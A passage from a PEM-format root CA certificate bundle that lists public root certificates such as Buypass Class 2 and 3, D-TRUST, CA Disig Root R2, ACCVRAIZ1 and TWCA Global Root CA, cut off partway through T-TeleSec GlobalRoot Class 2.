4yyXX04fkZT6/iyj2HYauE2yOE+b+h1IYHkm4vP9qdCa6HCPSXrW5b0KDtst842/6+OkfcvHlXHo
2qN8xcL4dJIEG4aspCJTQLas/kx2z/uUMsA1n3Y/buWQbqCmJqK4LL7RK4X9p2jIugErsWx0Hbhz
lefut8cl8ABMALJ+tguLHPPAUJ4lueAI3jZm/zel0btUZCzJJ7VLkn5l/9Mt4blOvH+kQSGQQXem
OR/qnuOf0GZvBeyqdn6/axag67XH/JJULysRJyU3eExRarDzzFhdFPFqSBX/wge2sY0PjlxQRrM9
vwGYT7JZVEc+NHt4bVaTLnPqZih4zR0Uv6CPLy64Lo7yFIrM6bV8+2ydDKXhlg==
-----END CERTIFICATE-----

Buypass Class 2 Root CA
=======================
-----BEGIN CERTIFICATE-----
MIIFWTCCA0GgAwIBAgIBAjANBgkqhkiG9w0BAQsFADBOMQswCQYDVQQGEwJOTzEdMBsGA1UECgwU
QnV5cGFzcyBBUy05ODMxNjMzMjcxIDAeBgNVBAMMF0J1eXBhc3MgQ2xhc3MgMiBSb290IENBMB4X
DTEwMTAyNjA4MzgwM1oXDTQwMTAyNjA4MzgwM1owTjELMAkGA1UEBhMCTk8xHTAbBgNVBAoMFEJ1
eXBhc3MgQVMtOTgzMTYzMzI3MSAwHgYDVQQDDBdCdXlwYXNzIENsYXNzIDIgUm9vdCBDQTCCAiIw
DQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBANfHXvfBB9R3+0Mh9PT1aeTuMgHbo4Yf5FkNuud1
g1Lr6hxhFUi7HQfKjK6w3Jad6sNgkoaCKHOcVgb/S2TwDCo3SbXlzwx87vFKu3MwZfPVL4O2fuPn
9Z6rYPnT8Z2SdIrkHJasW4DptfQxh6NR/Md+oW+OU3fUl8FVM5I+GC911K2GScuVr1QGbNgGE41b
/+EmGVnAJLqBcXmQRFBoJJRfuLMR8SlBYaNByyM21cHxMlAQTn/0hpPshNOOvEu/XAFOBz3cFIqU
CqTqc/sLUegTBxj6DvEr0VQVfTzh97QZQmdiXnfgolXsttlpF9U6r0TtSsWe5HonfOV116rLJeff
awrbD02TTqigzXsu8lkBarcNuAeBfos4GzjmCleZPe4h6KP1DBbdi+w0jpwqHAAVF41og9JwnxgI
zRFo1clrUs3ERo/ctfPYV3Me6ZQ5BL/T3jjetFPsaRyifsSP5BtwrfKi+fv3FmRmaZ9JUaLiFRhn
Bkp/1Wy1TbMz4GHrXb7pmA8y1x1LPC5aAVKRCfLf6o3YBkBjqhHk/sM3nhRSP/TizPJhk9H9Z2vX
Uq6/aKtAQ6BXNVN48FP4YUIHZMbXb5tMOA1jrGKvNouicwoN9SG9dKpN6nIDSdvHXx1iY8f93ZHs
M+71bbRuMGjeyNYmsHVee7QHIJihdjK4TWxPAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wHQYD
VR0OBBYEFMmAd+BikoL1RpzzuvdMw964o605MA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQsF
AAOCAgEAU18h9bqwOlI5LJKwbADJ784g7wbylp7ppHR/ehb8t/W2+xUbP6umwHJdELFx7rxP462s
A20ucS6vxOOto70MEae0/0qyexAQH6dXQbLArvQsWdZHEIjzIVEpMMpghq9Gqx3tOluwlN5E40EI
osHsHdb9T7bWR9AUC8rmyrV7d35BH16Dx7aMOZawP5aBQW9gkOLo+fsicdl9sz1Gv7SEr5AcD48S
aq/v7h56rgJKihcrdv6sVIkkLE8/trKnToyokZf7KcZ7XC25y2a2t6hbElGFtQl+Ynhw/qlqYLYd
DnkM/crqJIByw5c/8nerQyIKx+u2DISCLIBrQYoIwOula9+ZEsuK1V6ADJHgJgg2SMX6OBE1/yWD
LfJ6v9r9jv6ly0UsH8SIU653DtmadsWOLB2jutXsMq7Aqqz30XpN69QH4kj3Io6wpJ9qzo6ysmD0
oyLQI+uUWnpp3Q+/QFesa1lQ2aOZ4W7+jQF5JyMV3pKdewlNWudLSDBaGOYKbeaP4NK75t98biGC
wWg5TbSYWGZizEqQXsP6JwSxeRV0mcy+rSDeJmAc61ZRpqPq5KM/p/9h3PFaTWwyI0PurKju7koS
CTxdccK+efrCh2gdC/1cacwG0Jp9VJkqyTkaGa9LKkPzY11aWOIv4x3kqdbQCtCev9eBCfHJxyYN
rJgWVqA=
-----END CERTIFICATE-----

Buypass Class 3 Root CA
=======================
-----BEGIN CERTIFICATE-----
MIIFWTCCA0GgAwIBAgIBAjANBgkqhkiG9w0BAQsFADBOMQswCQYDVQQGEwJOTzEdMBsGA1UECgwU
QnV5cGFzcyBBUy05ODMxNjMzMjcxIDAeBgNVBAMMF0J1eXBhc3MgQ2xhc3MgMyBSb290IENBMB4X
DTEwMTAyNjA4Mjg1OFoXDTQwMTAyNjA4Mjg1OFowTjELMAkGA1UEBhMCTk8xHTAbBgNVBAoMFEJ1
eXBhc3MgQVMtOTgzMTYzMzI3MSAwHgYDVQQDDBdCdXlwYXNzIENsYXNzIDMgUm9vdCBDQTCCAiIw
DQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAKXaCpUWUOOV8l6ddjEGMnqb8RB2uACatVI2zSRH
sJ8YZLya9vrVediQYkwiL944PdbgqOkcLNt4EemOaFEVcsfzM4fkoF0LXOBXByow9c3EN3coTRiR
5r/VUv1xLXA+58bEiuPwKAv0dpihi4dVsjoT/Lc+JzeOIuOoTyrvYLs9tznDDgFHmV0ST9tD+leh
7fmdvhFHJlsTmKtdFoqwNxxXnUX/iJY2v7vKB3tvh2PX0DJq1l1sDPGzbjniazEuOQAnFN44wOwZ
ZoYS6J1yFhNkUsepNxz9gjDthBgd9K5c/3ATAOux9TN6S9ZV+AWNS2mw9bMoNlwUxFFzTWsL8TQH
2xc519woe2v1n/MuwU8XKhDzzMro6/1rqy6any2CbgTUUgGTLT2G/H783+9CHaZr77kgxve9oKeV
/afmiSTYzIw0bOIjL9kSGiG5VZFvC5F5GQytQIgLcOJ60g7YaEi7ghM5EFjp2CoHxhLbWNvSO1UQ
RwUVZ2J+GGOmRj8JDlQyXr8NYnon74Do29lLBlo3WiXQCBJ31G8JUJc9yB3D34xFMFbG02SrZvPA
Xpacw8Tvw3xrizp5f7NJzz3iiZ+gMEuFuZyUJHmPfWupRWgPK9Dx2hzLabjKSWJtyNBjYt1gD1iq
j6G8BaVmos8bdrKEZLFMOVLAMLrwjEsCsLa3AgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wHQYD
VR0OBBYEFEe4zf/lb+74suwvTg75JbCOPGvDMA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQsF
AAOCAgEAACAjQTUEkMJAYmDv4jVM1z+s4jSQuKFvdvoWFqRINyzpkMLyPPgKn9iB5btb2iUspKdV
cSQy9sgL8rxq+JOssgfCX5/bzMiKqr5qb+FJEMwx14C7u8jYog5kV+qi9cKpMRXSIGrs/CIBKM+G
uIAeqcwRpTzyFrNHnfzSgCHEy9BHcEGhyoMZCCxt8l13nIoUE9Q2HJLw5QY33KbmkJs4j1xrG0aG
Q0JfPgEHU1RdZX33inOhmlRaHylDFCfChQ+1iHsaO5S3HWCntZznKWlXWpuTekMwGwPXYshApqr8
ZORK15FTAaggiG6cX0S5y2CBNOxv033aSF/rtJC8LakcC6wc1aJoIIAE1vyxjy+7SjENSoYc6+I2
KSb12tjE8nVhz36udmNKekBlk4f4HoCMhuWG1o8O/FMsYOgWYRqiPkN7zTlgVGr18okmAWiDSKIz
6MkEkbIRNBE+6tBDGR8Dk5AM/1E9V/RBbuHLoL7ryWPNbczk+DaqaJ3tvV2XcEQNtg413OEMXbug
UZTLfhbrES+jkkXITHHZvMmZUldGL1DPvTVp9D0VzgalLA8+9oG6lLvDu79leNKGef9JOxqDDPDe
eOzI8k1MGt6CKfjBWtrt7uYnXuhF0J0cUahoq0Tj0Itq4/g7u9xN12TyUb7mqqta6THuBrxzvxNi
Cp/HuZc=
-----END CERTIFICATE-----

T-TeleSec GlobalRoot Class 3
============================
-----BEGIN CERTIFICATE-----
MIIDwzCCAqugAwIBAgIBATANBgkqhkiG9w0BAQsFADCBgjELMAkGA1UEBhMCREUxKzApBgNVBAoM
IlQtU3lzdGVtcyBFbnRlcnByaXNlIFNlcnZpY2VzIEdtYkgxHzAdBgNVBAsMFlQtU3lzdGVtcyBU
cnVzdCBDZW50ZXIxJTAjBgNVBAMMHFQtVGVsZVNlYyBHbG9iYWxSb290IENsYXNzIDMwHhcNMDgx
MDAxMTAyOTU2WhcNMzMxMDAxMjM1OTU5WjCBgjELMAkGA1UEBhMCREUxKzApBgNVBAoMIlQtU3lz
dGVtcyBFbnRlcnByaXNlIFNlcnZpY2VzIEdtYkgxHzAdBgNVBAsMFlQtU3lzdGVtcyBUcnVzdCBD
ZW50ZXIxJTAjBgNVBAMMHFQtVGVsZVNlYyBHbG9iYWxSb290IENsYXNzIDMwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQC9dZPwYiJvJK7genasfb3ZJNW4t/zN8ELg63iIVl6bmlQdTQyK
9tPPcPRStdiTBONGhnFBSivwKixVA9ZIw+A5OO3yXDw/RLyTPWGrTs0NvvAgJ1gORH8EGoel15YU
NpDQSXuhdfsaa3Ox+M6pCSzyU9XDFES4hqX2iys52qMzVNn6chr3IhUciJFrf2blw2qAsCTz34ZF
iP0Zf3WHHx+xGwpzJFu5ZeAsVMhg02YXP+HMVDNzkQI6pn97djmiH5a2OK61yJN0HZ65tOVgnS9W
0eDrXltMEnAMbEQgqxHY9Bn20pxSN+f6tsIxO0rUFJmtxxr1XV/6B7h8DR/Wgx6zAgMBAAGjQjBA
MA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBS1A/d2O2GCahKqGFPr
AyGUv/7OyjANBgkqhkiG9w0BAQsFAAOCAQEAVj3vlNW92nOyWL6ukK2YJ5f+AbGwUgC4TeQbIXQb
fsDuXmkqJa9c1h3a0nnJ85cp4IaH3gRZD/FZ1GSFS5mvJQQeyUapl96Cshtwn5z2r3Ex3XsFpSzT
ucpH9sry9uetuUg/vBa3wW306gmv7PO15wWeph6KU1HWk4HMdJP2udqmJQV0eVp+QD6CSyYRMG7h
P0HHRwA11fXT91Q+gT3aSWqas+8QPebrb9HIIkfLzM8BMZLZGOMivgkeGj5asuRrDFR6fUNOuIml
e9eiPZaGzPImNC1qkp2aGtAw4l1OBLBfiyB+d8E9lYLRRpo7PHi4b6HQDWSieB4pTpPDpFQUWw==
-----END CERTIFICATE-----

D-TRUST Root Class 3 CA 2 2009
==============================
-----BEGIN CERTIFICATE-----
MIIEMzCCAxugAwIBAgIDCYPzMA0GCSqGSIb3DQEBCwUAME0xCzAJBgNVBAYTAkRFMRUwEwYDVQQK
DAxELVRydXN0IEdtYkgxJzAlBgNVBAMMHkQtVFJVU1QgUm9vdCBDbGFzcyAzIENBIDIgMjAwOTAe
Fw0wOTExMDUwODM1NThaFw0yOTExMDUwODM1NThaME0xCzAJBgNVBAYTAkRFMRUwEwYDVQQKDAxE
LVRydXN0IEdtYkgxJzAlBgNVBAMMHkQtVFJVU1QgUm9vdCBDbGFzcyAzIENBIDIgMjAwOTCCASIw
DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANOySs96R+91myP6Oi/WUEWJNTrGa9v+2wBoqOAD
ER03UAifTUpolDWzU9GUY6cgVq/eUXjsKj3zSEhQPgrfRlWLJ23DEE0NkVJD2IfgXU42tSHKXzlA
BF9bfsyjxiupQB7ZNoTWSPOSHjRGICTBpFGOShrvUD9pXRl/RcPHAY9RySPocq60vFYJfxLLHLGv
KZAKyVXMD9O0Gu1HNVpK7ZxzBCHQqr0ME7UAyiZsxGsMlFqVlNpQmvH/pStmMaTJOKDfHR+4CS7z
p+hnUquVH+BGPtikw8paxTGA6Eian5Rp/hnd2HN8gcqW3o7tszIFZYQ05ub9VxC1X3a/L7AQDcUC
AwEAAaOCARowggEWMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFP3aFMSfMN4hvR5COfyrYyNJ
4PGEMA4GA1UdDwEB/wQEAwIBBjCB0wYDVR0fBIHLMIHIMIGAoH6gfIZ6bGRhcDovL2RpcmVjdG9y
eS5kLXRydXN0Lm5ldC9DTj1ELVRSVVNUJTIwUm9vdCUyMENsYXNzJTIwMyUyMENBJTIwMiUyMDIw
MDksTz1ELVRydXN0JTIwR21iSCxDPURFP2NlcnRpZmljYXRlcmV2b2NhdGlvbmxpc3QwQ6BBoD+G
PWh0dHA6Ly93d3cuZC10cnVzdC5uZXQvY3JsL2QtdHJ1c3Rfcm9vdF9jbGFzc18zX2NhXzJfMjAw
OS5jcmwwDQYJKoZIhvcNAQELBQADggEBAH+X2zDI36ScfSF6gHDOFBJpiBSVYEQBrLLpME+bUMJm
2H6NMLVwMeniacfzcNsgFYbQDfC+rAF1hM5+n02/t2A7nPPKHeJeaNijnZflQGDSNiH+0LS4F9p0
o3/U37CYAqxva2ssJSRyoWXuJVrl5jLn8t+rSfrzkGkj2wTZ51xY/GXUl77M/C4KzCUqNQT4YJEV
dT1B/yMfGchs64JTBKbkTCJNjYy6zltz7GRUUG3RnFX7acM2w4y8PIWmawomDeCTmGCufsYkl4ph
X5GOZpIJhzbNi5stPvZR1FDUWSi9g/LMKHtThm3YJohw1+qRzT65ysCQblrGXnRl11z+o+I=
-----END CERTIFICATE-----

D-TRUST Root Class 3 CA 2 EV 2009
=================================
-----BEGIN CERTIFICATE-----
MIIEQzCCAyugAwIBAgIDCYP0MA0GCSqGSIb3DQEBCwUAMFAxCzAJBgNVBAYTAkRFMRUwEwYDVQQK
DAxELVRydXN0IEdtYkgxKjAoBgNVBAMMIUQtVFJVU1QgUm9vdCBDbGFzcyAzIENBIDIgRVYgMjAw
OTAeFw0wOTExMDUwODUwNDZaFw0yOTExMDUwODUwNDZaMFAxCzAJBgNVBAYTAkRFMRUwEwYDVQQK
DAxELVRydXN0IEdtYkgxKjAoBgNVBAMMIUQtVFJVU1QgUm9vdCBDbGFzcyAzIENBIDIgRVYgMjAw
OTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJnxhDRwui+3MKCOvXwEz75ivJn9gpfS
egpnljgJ9hBOlSJzmY3aFS3nBfwZcyK3jpgAvDw9rKFs+9Z5JUut8Mxk2og+KbgPCdM03TP1YtHh
zRnp7hhPTFiu4h7WDFsVWtg6uMQYZB7jM7K1iXdODL/ZlGsTl28So/6ZqQTMFexgaDbtCHu39b+T
7WYxg4zGcTSHThfqr4uRjRxWQa4iN1438h3Z0S0NL2lRp75mpoo6Kr3HGrHhFPC+Oh25z1uxav60
sUYgovseO3Dvk5h9jHOW8sXvhXCtKSb8HgQ+HKDYD8tSg2J87otTlZCpV6LqYQXY+U3EJ/pure35
11H3a6UCAwEAAaOCASQwggEgMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFNOUikxiEyoZLsyv
cop9NteaHNxnMA4GA1UdDwEB/wQEAwIBBjCB3QYDVR0fBIHVMIHSMIGHoIGEoIGBhn9sZGFwOi8v
ZGlyZWN0b3J5LmQtdHJ1c3QubmV0L0NOPUQtVFJVU1QlMjBSb290JTIwQ2xhc3MlMjAzJTIwQ0El
MjAyJTIwRVYlMjAyMDA5LE89RC1UcnVzdCUyMEdtYkgsQz1ERT9jZXJ0aWZpY2F0ZXJldm9jYXRp
b25saXN0MEagRKBChkBodHRwOi8vd3d3LmQtdHJ1c3QubmV0L2NybC9kLXRydXN0X3Jvb3RfY2xh
c3NfM19jYV8yX2V2XzIwMDkuY3JsMA0GCSqGSIb3DQEBCwUAA4IBAQA07XtaPKSUiO8aEXUHL7P+
PPoeUSbrh/Yp3uDx1MYkCenBz1UbtDDZzhr+BlGmFaQt77JLvyAoJUnRpjZ3NOhk31KxEcdzes05
nsKtjHEh8lprr988TlWvsoRlFIm5d8sqMb7Po23Pb0iUMkZv53GMoKaEGTcH8gNFCSuGdXzfX2lX
ANtu2KZyIktQ1HWYVt+3GP9DQ1CuekR78HlR10M9p9OB0/DJT7naxpeG0ILD5EJt/rDiZE4OJudA
NCa1CInXCGNjOCd1HjPqbqjdn5lPdE2BiYBL3ZqXKVwvvoFBuYz/6n1gBp7N1z3TLqMVvKjmJuVv
w9y4AyHqnxbxLFS1
-----END CERTIFICATE-----

CA Disig Root R2
================
-----BEGIN CERTIFICATE-----
MIIFaTCCA1GgAwIBAgIJAJK4iNuwisFjMA0GCSqGSIb3DQEBCwUAMFIxCzAJBgNVBAYTAlNLMRMw
EQYDVQQHEwpCcmF0aXNsYXZhMRMwEQYDVQQKEwpEaXNpZyBhLnMuMRkwFwYDVQQDExBDQSBEaXNp
ZyBSb290IFIyMB4XDTEyMDcxOTA5MTUzMFoXDTQyMDcxOTA5MTUzMFowUjELMAkGA1UEBhMCU0sx
EzARBgNVBAcTCkJyYXRpc2xhdmExEzARBgNVBAoTCkRpc2lnIGEucy4xGTAXBgNVBAMTEENBIERp
c2lnIFJvb3QgUjIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCio8QACdaFXS1tFPbC
w3OeNcJxVX6B+6tGUODBfEl45qt5WDza/3wcn9iXAng+a0EE6UG9vgMsRfYvZNSrXaNHPWSb6Wia
xswbP7q+sos0Ai6YVRn8jG+qX9pMzk0DIaPY0jSTVpbLTAwAFjxfGs3Ix2ymrdMxp7zo5eFm1tL7
A7RBZckQrg4FY8aAamkw/dLukO8NJ9+flXP04SXabBbeQTg06ov80egEFGEtQX6sx3dOy1FU+16S
GBsEWmjGycT6txOgmLcRK7fWV8x8nhfRyyX+hk4kLlYMeE2eARKmK6cBZW58Yh2EhN/qwGu1pSqV
g8NTEQxzHQuyRpDRQjrOQG6Vrf/GlK1ul4SOfW+eioANSW1z4nuSHsPzwfPrLgVv2RvPN3YEyLRa
5Beny912H9AZdugsBbPWnDTYltxhh5EF5EQIM8HauQhl1K6yNg3ruji6DOWbnuuNZt2Zz9aJQfYE
koopKW1rOhzndX0CcQ7zwOe9yxndnWCywmZgtrEE7snmhrmaZkCo5xHtgUUDi/ZnWejBBhG93c+A
Ak9lQHhcR1DIm+YfgXvkRKhbhZri3lrVx/k6RGZL5DJUfORsnLMOPReisjQS1n6yqEm70XooQL6i
Fh/f5DcfEXP7kAplQ6INfPgGAVUzfbANuPT1rqVCV3w2EYx7XsQDnYx5nQIDAQABo0IwQDAPBgNV
HRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUtZn4r7CU9eMg1gqtzk5WpC5u
Qu0wDQYJKoZIhvcNAQELBQADggIBACYGXnDnZTPIgm7ZnBc6G3pmsgH2eDtpXi/q/075KMOYKmFM
tCQSin1tERT3nLXK5ryeJ45MGcipvXrA1zYObYVybqjGom32+nNjf7xueQgcnYqfGopTpti72TVV
sRHFqQOzVju5hJMiXn7B9hJSi+osZ7z+Nkz1uM/Rs0mSO9MpDpkblvdhuDvEK7Z4bLQjb/D907Je
dR+Zlais9trhxTF7+9FGs9K8Z7RiVLoJ92Owk6Ka+elSLotgEqv89WBW7xBci8QaQtyDW2QOy7W8
1k/BfDxujRNt+3vrMNDcTa/F1balTFtxyegxvug4BkihGuLq0t4SOVga/4AOgnXmt8kHbA7v/zjx
mHHEt38OFdAlab0inSvtBfZGR6ztwPDUO+Ls7pZbkBNOHlY667DvlruWIxG68kOGdGSVyCh13x01
utI3gzhTODY7z2zp+WsO0PsE6E9312UBeIYMej4hYvF/Y3EMyZ9E26gnonW+boE+18DrG5gPcFw0
sorMwIUY6256s/daoQe/qUKS82Ail+QUoQebTnbAjn39pCXHR+3/H3OszMOl6W8KjptlwlCFtaOg
UxLMVYdh84GuEEZhvUQhuMI9dM9+JDX6HAcOmz0iyu8xL4ysEr3vQCj8KWefshNPZiTEUxnpHikV
7+ZtsH8tZ/3zbBt1RqPlShfppNcL
-----END CERTIFICATE-----

ACCVRAIZ1
=========
-----BEGIN CERTIFICATE-----
MIIH0zCCBbugAwIBAgIIXsO3pkN/pOAwDQYJKoZIhvcNAQEFBQAwQjESMBAGA1UEAwwJQUNDVlJB
SVoxMRAwDgYDVQQLDAdQS0lBQ0NWMQ0wCwYDVQQKDARBQ0NWMQswCQYDVQQGEwJFUzAeFw0xMTA1
MDUwOTM3MzdaFw0zMDEyMzEwOTM3MzdaMEIxEjAQBgNVBAMMCUFDQ1ZSQUlaMTEQMA4GA1UECwwH
UEtJQUNDVjENMAsGA1UECgwEQUNDVjELMAkGA1UEBhMCRVMwggIiMA0GCSqGSIb3DQEBAQUAA4IC
DwAwggIKAoICAQCbqau/YUqXry+XZpp0X9DZlv3P4uRm7x8fRzPCRKPfmt4ftVTdFXxpNRFvu8gM
jmoYHtiP2Ra8EEg2XPBjs5BaXCQ316PWywlxufEBcoSwfdtNgM3802/J+Nq2DoLSRYWoG2ioPej0
RGy9ocLLA76MPhMAhN9KSMDjIgro6TenGEyxCQ0jVn8ETdkXhBilyNpAlHPrzg5XPAOBOp0KoVdD
aaxXbXmQeOW1tDvYvEyNKKGno6e6Ak4l0Squ7a4DIrhrIA8wKFSVf+DuzgpmndFALW4ir50awQUZ
0m/A8p/4e7MCQvtQqR0tkw8jq8bBD5L/0KIV9VMJcRz/RROE5iZe+OCIHAr8Fraocwa48GOEAqDG
WuzndN9wrqODJerWx5eHk6fGioozl2A3ED6XPm4pFdahD9GILBKfb6qkxkLrQaLjlUPTAYVtjrs7
8yM2x/474KElB0iryYl0/wiPgL/AlmXz7uxLaL2diMMxs0Dx6M/2OLuc5NF/1OVYm3z61PMOm3WR
5LpSLhl+0fXNWhn8ugb2+1KoS5kE3fj5tItQo05iifCHJPqDQsGH+tUtKSpacXpkatcnYGMN285J
9Y0fkIkyF/hzQ7jSWpOGYdbhdQrqeWZ2iE9x6wQl1gpaepPluUsXQA+xtrn13k/c4LOsOxFwYIRK
Q26ZIMApcQrAZQIDAQABo4ICyzCCAscwfQYIKwYBBQUHAQEEcTBvMEwGCCsGAQUFBzAChkBodHRw
Oi8vd3d3LmFjY3YuZXMvZmlsZWFkbWluL0FyY2hpdm9zL2NlcnRpZmljYWRvcy9yYWl6YWNjdjEu
Y3J0MB8GCCsGAQUFBzABhhNodHRwOi8vb2NzcC5hY2N2LmVzMB0GA1UdDgQWBBTSh7Tj3zcnk1X2
VuqB5TbMjB4/vTAPBgNVHRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFNKHtOPfNyeTVfZW6oHlNsyM
Hj+9MIIBcwYDVR0gBIIBajCCAWYwggFiBgRVHSAAMIIBWDCCASIGCCsGAQUFBwICMIIBFB6CARAA
QQB1AHQAbwByAGkAZABhAGQAIABkAGUAIABDAGUAcgB0AGkAZgBpAGMAYQBjAGkA8wBuACAAUgBh
AO0AegAgAGQAZQAgAGwAYQAgAEEAQwBDAFYAIAAoAEEAZwBlAG4AYwBpAGEAIABkAGUAIABUAGUA
YwBuAG8AbABvAGcA7QBhACAAeQAgAEMAZQByAHQAaQBmAGkAYwBhAGMAaQDzAG4AIABFAGwAZQBj
AHQAcgDzAG4AaQBjAGEALAAgAEMASQBGACAAUQA0ADYAMAAxADEANQA2AEUAKQAuACAAQwBQAFMA
IABlAG4AIABoAHQAdABwADoALwAvAHcAdwB3AC4AYQBjAGMAdgAuAGUAczAwBggrBgEFBQcCARYk
aHR0cDovL3d3dy5hY2N2LmVzL2xlZ2lzbGFjaW9uX2MuaHRtMFUGA1UdHwROMEwwSqBIoEaGRGh0
dHA6Ly93d3cuYWNjdi5lcy9maWxlYWRtaW4vQXJjaGl2b3MvY2VydGlmaWNhZG9zL3JhaXphY2N2
MV9kZXIuY3JsMA4GA1UdDwEB/wQEAwIBBjAXBgNVHREEEDAOgQxhY2N2QGFjY3YuZXMwDQYJKoZI
hvcNAQEFBQADggIBAJcxAp/n/UNnSEQU5CmH7UwoZtCPNdpNYbdKl02125DgBS4OxnnQ8pdpD70E
R9m+27Up2pvZrqmZ1dM8MJP1jaGo/AaNRPTKFpV8M9xii6g3+CfYCS0b78gUJyCpZET/LtZ1qmxN
YEAZSUNUY9rizLpm5U9EelvZaoErQNV/+QEnWCzI7UiRfD+mAM/EKXMRNt6GGT6d7hmKG9Ww7Y49
nCrADdg9ZuM8Db3VlFzi4qc1GwQA9j9ajepDvV+JHanBsMyZ4k0ACtrJJ1vnE5Bc5PUzolVt3OAJ
TS+xJlsndQAJxGJ3KQhfnlmstn6tn1QwIgPBHnFk/vk4CpYY3QIUrCPLBhwepH2NDd4nQeit2hW3
sCPdK6jT2iWH7ehVRE2I9DZ+hJp4rPcOVkkO1jMl1oRQQmwgEh0q1b688nCBpHBgvgW1m54ERL5h
I6zppSSMEYCUWqKiuUnSwdzRp+0xESyeGabu4VXhwOrPDYTkF7eifKXeVSUG7szAh1xA2syVP1Xg
Nce4hL60Xc16gwFy7ofmXx2utYXGJt/mwZrpHgJHnyqobalbz+xFd3+YJ5oyXSrjhO7FmGYvliAd
3djDJ9ew+f7Zfc3Qn48LFFhRny+Lwzgt3uiP1o2HpPVWQxaZLPSkVrQ0uGE3ycJYgBugl6H8WY3p
EfbRD0tVNEYqi4Y7
-----END CERTIFICATE-----

TWCA Global Root CA
===================
-----BEGIN CERTIFICATE-----
MIIFQTCCAymgAwIBAgICDL4wDQYJKoZIhvcNAQELBQAwUTELMAkGA1UEBhMCVFcxEjAQBgNVBAoT
CVRBSVdBTi1DQTEQMA4GA1UECxMHUm9vdCBDQTEcMBoGA1UEAxMTVFdDQSBHbG9iYWwgUm9vdCBD
QTAeFw0xMjA2MjcwNjI4MzNaFw0zMDEyMzExNTU5NTlaMFExCzAJBgNVBAYTAlRXMRIwEAYDVQQK
EwlUQUlXQU4tQ0ExEDAOBgNVBAsTB1Jvb3QgQ0ExHDAaBgNVBAMTE1RXQ0EgR2xvYmFsIFJvb3Qg
Q0EwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCwBdvI64zEbooh745NnHEKH1Jw7W2C
nJfF10xORUnLQEK1EjRsGcJ0pDFfhQKX7EMzClPSnIyOt7h52yvVavKOZsTuKwEHktSz0ALfUPZV
r2YOy+BHYC8rMjk1Ujoog/h7FsYYuGLWRyWRzvAZEk2tY/XTP3VfKfChMBwqoJimFb3u/Rk28OKR
Q4/6ytYQJ0lM793B8YVwm8rqqFpD/G2Gb3PpN0Wp8DbHzIh1HrtsBv+baz4X7GGqcXzGHaL3SekV
tTzWoWH1EfcFbx39Eb7QMAfCKbAJTibc46KokWofwpFFiFzlmLhxpRUZyXx1EcxwdE8tmx2RRP1W
KKD+u4ZqyPpcC1jcxkt2yKsi2XMPpfRaAok/T54igu6idFMqPVMnaR1sjjIsZAAmY2E2TqNGtz99
sy2sbZCilaLOz9qC5wc0GZbpuCGqKX6mOL6OKUohZnkfs8O1CWfe1tQHRvMq2uYiN2DLgbYPoA/p
yJV/v1WRBXrPPRXAb94JlAGD1zQbzECl8LibZ9WYkTunhHiVJqRaCPgrdLQABDzfuBSO6N+pjWxn
kjMdwLfS7JLIvgm/LCkFbwJrnu+8vyq8W8BQj0FwcYeyTbcEqYSjMq+u7msXi7Kx/mzhkIyIqJdI
zshNy/MGz19qCkKxHh53L46g5pIOBvwFItIm4TFRfTLcDwIDAQABoyMwITAOBgNVHQ8BAf8EBAMC
AQYwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAgEAXzSBdu+WHdXltdkCY4QWwa6g
cFGn90xHNcgL1yg9iXHZqjNB6hQbbCEAwGxCGX6faVsgQt+i0trEfJdLjbDorMjupWkEmQqSpqsn
LhpNgb+E1HAerUf+/UqdM+DyucRFCCEK2mlpc3INvjT+lIutwx4116KD7+U4x6WFH6vPNOw/KP4M
8VeGTslV9xzU2KV9Bnpv1d8Q34FOIWWxtuEXeZVFBs5fzNxGiWNoRI2T9GRwoD2dKAXDOXC4Ynsg
/eTb6QihuJ49CcdP+yz4k3ZB3lLg4VfSnQO8d57+nile98FRYB/e2guyLXW3Q0iT5/Z5xoRdgFlg
lPx4mI88k1HtQJAH32RjJMtOcQWh15QaiDLxInQirqWm2BJpTGCjAu4r7NRjkgtevi92a6O2JryP
A9gK8kxkRr05YuWW6zRjESjMlfGt7+/cgFhI6Uu46mWs6fyAtbXIRfmswZ/ZuepiiI7E8UuDEq3m
i4TWnsLrgxifarsbJGAzcMzs9zLzXNl5fe+epP7JI8Mk7hWSsT2RTyaGvWZzJBPqpK5jwa19hAM8
EHiGG3njxPPyBJUgriOCxLM6AGK/5jYk4Ve6xx6QddVfP5VhK8E7zeWzaGHQRiapIVJpLesux+t3
zqY6tQMzT3bR51xUAV3LePTJDL/PEo4XLSNolOer/qmyKwbQBM0=
-----END CERTIFICATE-----

T-TeleSec GlobalRoot Class 2
============================
-----BEGIN CERTIFICATE-----
MIIDwzCCAqugAwIBAgIBATANBgkqhkiG9w0BAQsFADCBgjELMAkGA1UEBhMCREUxKzApBgNVBAoM
IlQtU3lzdGVtcyBFbnRlcnByaXNlIFNlcnZpY2VzIEdtYkgxHzAdBgNVBAsMFlQtU3lzdGVtcyBU
cnVzdCBDZW50ZXIxJTAjBgNVBAMMHFQtVGVsZVNlYyBHbG9iYWxSb290IENsYXNzIDIwHhcNMDgx
MDAxMTA0MDE0WhcNMzMxMDAxMjM1OTU5WjCBgjELMAkGA1UEBhMCREUxKzApBgNVBAoMIlQtU3lz
dGVtcyBFbnRlcnByaXNlIFNlcnZpY2VzIEdtYkgxHzAdBgNVBAsMFlQtU3lzdGVtcyBUcnVzdCBD
